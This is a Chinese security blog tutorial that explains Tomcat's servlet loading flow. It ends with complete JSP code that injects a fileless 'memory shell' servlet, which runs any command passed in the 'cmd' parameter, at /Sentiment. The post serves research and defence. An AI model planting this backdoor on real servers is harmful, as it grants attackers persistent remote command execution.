Tomcat Servlet内存马

网络安全:Servlet内存马加载流程分析 前言 Servlet内存马的最后一篇,和之前的分析其实差不太多,基础知识就不进行了,这篇文章就直接从加载开始说起,废话不多说直接开始吧。 一、Servlet流程分析 (一)StrandContext.startInternal方法 首先我们需要先了解一下Tomcat的加载流程,这里借用师傅的一张图。 我们通过上图Tomcat的启动流程可以得知,首先我们启动到StandardHost就会去启动StrandContext,我们和之前内存马的分析一样,我们从Contextconfig类加载配置文件开始分析,我们 阅读详情

Servlet

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,它早期的名称为catalina,后来由Apache、Sun 和其他一些公司及个人共同开发而成,并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选,因为Tomcat 技术先进、性能稳定,成为目前比较流行的Web 应用服务器。Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。

从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体。

<pre class="prettyprint hljs" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)
Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)
</pre>

Servlet接口一共有五个类分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用):

<pre class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">public interface  Servlet  { 
    void  init(ServletConfig var1)  throws  ServletException;

    ServletConfig  getServletConfig();

    void  service(ServletRequest var1,  ServletResponse var2)  throws  ServletException,  IOException;

    String  getServletInfo();

    void  destroy();
}</pre>

Servlet.java

<pre class="prettyprint hljs scala" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">package memoryshell;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class  Servlet  extends  HttpServlet  { 
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 
        resp.getWriter().write("Hello,Sentiment!");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 
        doGet(req, resp);
    }
}</pre>

web.xml

<pre class="prettyprint hljs xml" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>memoryshell.Servlet</servlet-class>
</servlet>
<!--Servlet的请求路径-->
<servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
</servlet-mapping></pre>

访问/hello

Servlet生成

本地没有catalina,所以加了个依赖,可能是版本不对在调试时可能会有一丢丢代码不匹配的问题,但不影响正常流程

依赖

<pre class="prettyprint hljs xml" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.19</version>
</dependency></pre>

整个栈在ContextConfig调用了 configureStart#webConfig() 读取 web.xml

然后根据 web.xml 配置 context调用了 configureContext()

<pre class="prettyprint hljs kotlin" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">if (this.ok) { 
    this.configureContext(webXml);
}</pre>

跟进 configureContext() 前边依次读取了 Filter、Listenert的配置及其映射,我们直接看后边的 Servlet 部分:

首先通过 StandardContextS#createWrapper() ,创建wrapper对象

Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

<pre class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">public  Wrapper  createWrapper()  { 
Wrapper wrapper = null;
if (wrapperClass != null) { 
    try { 
        wrapper = (Wrapper) wrapperClass.newInstance();
    } catch (Throwable t) { 
        ExceptionUtils.handleThrowable(t);
        log.error("createWrapper", t);
        return (null);
    }
} else { 
    wrapper = new StandardWrapper();</pre>

接着设置了启动优先级LoadOnStartUp,以及servlet的Name。

设置好优先级后就调用下边的 setServletClass() ,配置了Servlet的Class。

<pre class="prettyprint hljs css" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">wrapper.setServletClass(servlet.getServletClass());</pre>

最后通过 addChild() 将创建并配置好的 Wrapper 添加到 Context 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下

来就需要添加Servlet-Mapper了(对应web.xml中的 <servlet-mapping> )

取出web.xml中所有配置的Servlet-Mapping,通过context.addServletMappingDecoded()将url路径和servlet类做映射。(这里的/hello、hello就是我们在Mapper中设置的值)

  1. 通过 context.createWapper() 创建 Wapper 对象;
  2. 设置 Servlet 的 LoadOnStartUp 的值;
  3. 设置 Servlet 的 Name;
  4. 设置 Servlet 对应的 Class;
  5. 通过addChild()将创建并配置好的 Wrapper 添加到 Context 中
  6. 通过addServletMappingDecoded()将 url 路径和 servlet 类做映射。

Servlet加载

在 org.apache.catalina.core.StandardWapper#loadServlet() 下断点调试:

回溯到 StandardContext#startInternal 同样也是在处理完listener和filter后,处理Servlet,这也就体现了分析Listener中提到的执行流程(Listener -> Filter -> Servlet)

首先调用了 findChildren() ,将之前通过 addChild() 添加的所有Wapper传入 loadOnStartup() 中处理

跟进 loadOnStartup() ,children的值就是通过 this.findChildren() 传入进来的

通过循环将children中的值逐一赋给child,在赋值给wrapper中,之后有一段判断:

<pre class="prettyprint hljs cpp" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">if (loadOnStartup >= 0) { 
    Integer key = loadOnStartup;
    ArrayList<Wrapper> list = (ArrayList)map.get(key);
    if (list == null) { 
        list = new ArrayList();
        map.put(key, list);
    }

    list.add(wrapper);
}</pre>

如果loadOnStartup >= 0,就会将wrapper追加到list中,但loadOnStartup 的默认值是-1,

在servlet的配置当中即(web.xml), <load-on-startup>1</load-on-startup> 的含义是:

标记容器是否在启动的时候就加载这个servlet。

当值为0或者大于0时,表示容器在应用启动时就加载这个servlet;

当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载。

正数的值越小,启动该servlet的优先级越高。 </load-on-startup>

由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要通过反射将值修改为1,将其追加到list中

之后通过load()进行加载,根据具体请求进行初始化、调用、销毁一系列操作

Servlet内存马

首先通过doGet方法实现恶意类

<pre class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%
    HttpServlet httpServlet = new HttpServlet() { 
      @Override
      protected  void  doGet(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException  { 
        InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        int len;
        while ((len = bis.read())!=-1){ 
          resp.getWriter().write(len);
        }
      }

      @Override
      protected  void  doPost(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException  { 
        super.doPost(req, resp);
      }
    };

%></pre>

之后还是老办法获取StandardContext:

<pre class="prettyprint hljs vbscript" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%></pre>

反射修改 loadOnStartup

<pre class="prettyprint hljs delphi" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
%></pre>

最后将 URL 路径与 Servlet 恶意类做映射:

<pre class="prettyprint hljs erb" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><% // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/Sentiment", name); %></pre>

Servlet.jsp

<pre class="prettyprint hljs erb" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%@ page import="java.lang.reflect.Field"  %>  <%@ page import="org.apache.catalina.core.StandardContext"  %>  <%@ page import="org.apache.catalina.connector.Request"  %>  <%@ page import="java.io.IOException"  %>  <%@ page import="org.apache.catalina.Wrapper"  %>  <%@ page import="java.io.InputStream"  %>  <%@ page import="java.io.BufferedInputStream"  %>  <%@ page contentType="text/html;charset=UTF-8" language="java"  %>  <html>  <head>  <title>Sentiment</title>  </head>  <body>  <%  HttpServlet httpServlet =  new  HttpServlet()  {  @Override  protected  void  doGet(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException  {  InputStream is =  Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();  BufferedInputStream bis =  new  BufferedInputStream(is);  int len;  while  ((len = bis.read())!=-1){ 
                resp.getWriter().write(len);  }  }  @Override  protected  void  doPost(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException  {  super.doPost(req, resp);  }  };  //获得StandardContext  Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true);  Request req =  (Request) reqF.get(request);  StandardContext stdcontext =  (StandardContext) req.getContext();  //从StandardContext.createWapper()获得一个Wapper对象  Wrapper newWrapper = stdcontext.createWrapper();  String name = httpServlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(httpServlet); newWrapper.setServletClass(httpServlet.getClass().getName());  //将Wrapper添加到StandardContext stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/Sentiment", name);  %></pre>

访问Servlet.jsp后注入成功

代码审计 | Servlet —— Tomcat 内存马 Servlet 型内存马整体比 Filter 型简单,核心流程:反射两层拿(和 Filter 型相同)匿名内部类写恶意 Servlet,doPost转发给doGet包装实例 →addChild→完成注册不需要操作三个集合,也不需要手动操作,整体代码量少了不少。但相比 Filter 型,隐蔽性较差:Filter 挂载在/*上,混在正常业务流量里;Servlet 需要独立路径,容易被安全扫描器或流量分析发现。Listener 型内存马。 阅读详情

相关推荐

Java Tomcat内存马——Servlet内存马

Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。使用 Servlet,您可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。Java Servlet 通常情况下与使用 CGI(Common Gateway Interface,公共网关接口)实现的程序可以达到异曲同工的效果

m0_61506558的博客 761

Servlet内存马

1. 何谓内存马? 以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启。 Java内存shell有很多种,大致分为: 1. 动态注册filter 2. 动态注册servlet 3. 动态注册listener 4. 基于Java agent拦截修改关键类字节码实现内存shell 该文主要研究Servlet内存马的原理和实现。 2. 何为Servlet? Tomcat 服务器是一个免费的开放源代

angry_program的博客 3196

S06-tomcat之servlet内存马1

S06-tomcat之servlet内存马1

Java安全之servlet内存马分析

php和jsp一句话马我想大家都知道,早先就听小伙伴说过一句话木马已经过时了,现在是内存马的天下了 ,内存马无落地文件,更隐蔽不易被发现。翻一翻大佬的文章看起来让人云里雾里的,究竟什么是内存马呢?为了搞清这点我们必须从java的特性底层出发,才能对内存马知根知底。本节我将介绍什么是内存马?什么是servlet?servlet运行机制jsp的本质Tomcat总体架构注册servlet到tomcat注册的流程StandardContext类servlet内存马的实现。

shelter1234567的博客 2366

用Multisim和74192芯片复刻经典:手把手教你搭建篮球24秒违例计时器(附仿真文件)

本文详细介绍了如何使用Multisim仿真平台和74192芯片构建篮球24秒违例计时器,涵盖时序逻辑电路设计、核心器件选型、仿真环境搭建及调试技巧。通过分步指导,帮助读者掌握数字电路设计的关键技术,并附赠仿真文件供实践参考。

weixin_27014595的博客 279

保姆级教程:在Windows 11上用VSCode和Conda搞定Depth-Anything-3(含常见报错修复)

本文提供在Windows 11系统上使用VSCode和Conda配置Depth-Anything-3的完整教程,涵盖环境搭建、依赖安装、常见报错修复及深度图生成实战。特别针对CUDA与PyTorch版本匹配、Hugging Face镜像加速等关键问题提供解决方案,帮助开发者高效实现计算机视觉中的深度估计应用。

weixin_30338481的博客 347

Servlet内存马的学习

Servlet内存马编写

a877558888的博客 1035

OptiSystem仿真:波分与时分复用混合光网络的设计与性能优化

本文详细介绍了如何利用OptiSystem软件设计与优化波分复用与时分复用混合光网络。通过构建四路波分乘以四路时分的系统模型,文章阐述了从信源生成、复用合并、光纤传输到信号解复用与性能评估的全流程,并重点探讨了对抗色散、优化器件参数及探索高级调制格式等核心性能优化策略,为应对未来海量数据需求提供了高效、可行的仿真解决方案。

pink的博客 1108

【干货】Servlet内存马加载流程分析

Servlet内存马的最后一篇,和之前的分析其实差不太多,基础知识就不进行了,这篇文章就直接从加载开始说起,废话不多说直接开始吧。

hyun134340的博客 179

融合Retinex理论与Transformer的YOLOv8低光照目标检测增强方法【YOLOv8】

图像分解:将输入图像分解为光照成分和反射成分。光照估计:估计光照图以消除暗光区域。图像重建:将光照增强后的反射图像重建成最终图像。Retinexformer通过在Transformer中引入Retinex的图像增强思路,使得低光照图像的细节能够得到充分保留。本文提出了一种基于Retinexformer的低光照增强方法,用于改进YOLOv8模型在夜间和低光照环境下的目标检测性能。

博客 1931

面向可扩展的 ABAP CDS:EXTEND VIEW 全面实战与工程化指引

摘要: 本文深入讲解ABAP CDS的EXTEND VIEW功能,帮助开发者在标准或自建模型上安全扩展字段与关联。核心内容包括: 作用:避免直接修改标准CDS,通过轻量扩展添加业务字段和关联,降低维护风险。 语法要点:需定义CDS扩展实体名和Dictionary Append View名,支持添加普通字段、关联,但不允许聚合或修改原有结构。 限制:不能扩展含聚合、UNION的视图,且扩展字段需避免命名冲突。 工程实践:建议使用客户命名空间,区分结构扩展与元数据扩展,并注意功能性变更需通过其他方式实现。 示例

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 397

Tomcat-Servlet内存马

前面学习了 Listener/Filter 内存马,今天来学习一下 Servlet 内存马!

! 645

android 9.0Settings休眠时间项(屏幕超时)添加永不休眠功能

在9.0的系统产品开发中,系统中默认息屏时间为1分钟,可以通过在Setting中的息屏时间选项设置对应的息屏时间,但是在开发平板类的产品中,需要实现永不休眠的功能,所以需要在Settings中的息屏时间中添加永不休眠时间这一项来实现这个功能,接下来看息屏时间的相关功能,来添加这个功能

安卓兼职framework和app工程师的博客 2056

Tomcat内存马学习2:Servlet型

上一篇讲了filter型内存马,而这次这个servlet型内存马也是大同小异,就是在内存中恶意创建一个servlet供攻击者使用必须搞懂servlet的加载机制(创建standwrapper,添加到standcontext中,加载standwrapper)在此加载机制基础上,设计出servlet内存马poc。...

weixin_43263451的博客 838

基于强化学习的多无人机路径规划

我们使用了Dueling Double Deep Q-Network(DDDQN)算法来训练智能体,这个算法在深度Q学习算法的基础上进行了升级,具有更快的收敛速度和更好的性能。本文提出了一种基于强化学习的算法,实现了多无人机路径规划,并提供相应的MATLAB代码。通过基于强化学习的多无人机路径规划算法,我们能够高效地解决复杂环境下的任务需求,并在实际应用中取得了良好的效果。首先,我们定义了状态空间和动作空间。实验结果表明,我们的方法能够有效地解决多无人机路径规划问题,提高了任务完成的效率和准确率。

DjjPython的博客 821

Windows部署OpenClaw报错不断?这篇环境配置指南帮你解决难题

想在Windows上部署OpenClaw却频频报错?🔧 本文详细梳理了OpenClaw部署必需环境的安装步骤和官方下载地址 📦,提供完整的验证清单和常见问题排查方法,帮你一次性搞定所有环境配置,顺利部署OpenClaw ✅

XiaoqiangClub的博客 6660

Tomcat Java内存马 Servlet型

针对Tomcat Servlet的内存马

qq_40710190的博客 330

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

[Java安全]—Tomcat Servlet内存马

浅学下Servlet内存马

Sentiment的博客 1693

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

Tomcat内存马注入全解析:从Filter到Servlet的完整利用链

Tomcat内存马注入是一种高级的Web安全攻防技术,通过Java反序列化漏洞将恶意代码注入到Tomcat服务器的内存中,实现持久化后门访问。本文将全面解析Tomcat内存马的完整利用链,帮助安全研究人员深入理解这一技术原理。 ## 🔥 什么是Tomcat内存马? Tomcat内存马(Memory Shell)是一种无需写入磁盘文件、直接驻留在服务器内存中的Web后门技术。与传统的Websh

gitblog_01114的博客 532

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

『Java安全』Tomcat内存马_动态注册Servlet内存马

文章目录Servlet调用流程分析1. StandardContext.startInternal注册servlet2. StandardContextValue.invoke获取wrapper3. StandardWrapperValue.invoke处理doFilter4. doFilter调用HttpServlet.service提供服务Servlet内存马原理Ⅰ.获取contextⅡ.生成恶意servletⅢ. 生成wrapper并放入contextⅣ. 配置映射完整代码参考引用完 Servlet调

Ho1aAs‘s Blog 3013

擅长捉弄的内存马同学:Servlet内存马

Servlet内存马的最后一篇,和之前的分析其实差不太多,基础知识就不进行了,这篇文章就直接从加载开始说起,废话不多说直接开始吧。

白帽黑客鹏哥的博客 1212

Tomcat内存马

描述Servlet3.0后允许动态注册组件这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。为了便于调试Tomcat,我们先在父项目的pom文件中引入Tomcat依赖关键在于 JSP->可识别类(恶意类)

qq_64201116的博客 1250

关于对于Servlet内存马利用分析

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,它早期的名称为catalina,后来由Apache、Sun 和其他一些公司及个人共同开发而成,并更名为Tomcat。

woshiyanfu的博客 92

tomcat Filter内存马

Tomcat Filter 流程分析 首先创建一个javaWeb项目,再把tomcat/lib/catalina.jar和tomcat/lib/servlet-api.jar添加到项目中,创建一个demo文件。如果不会的化可以参考这篇文章 demo package filter; import javax.servlet.*; import java.io.IOException; public class filterDemo implements Filter { public void

weixin_45682070的博客 1559
上一篇: 必问207道java架构和大数据面试题及答案
下一篇: 我人都傻了,CompletableFuture和OpenFegin一起使用竟然报错
Java技术那些事儿
博客等级 码龄5年 2306粉丝 2584原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值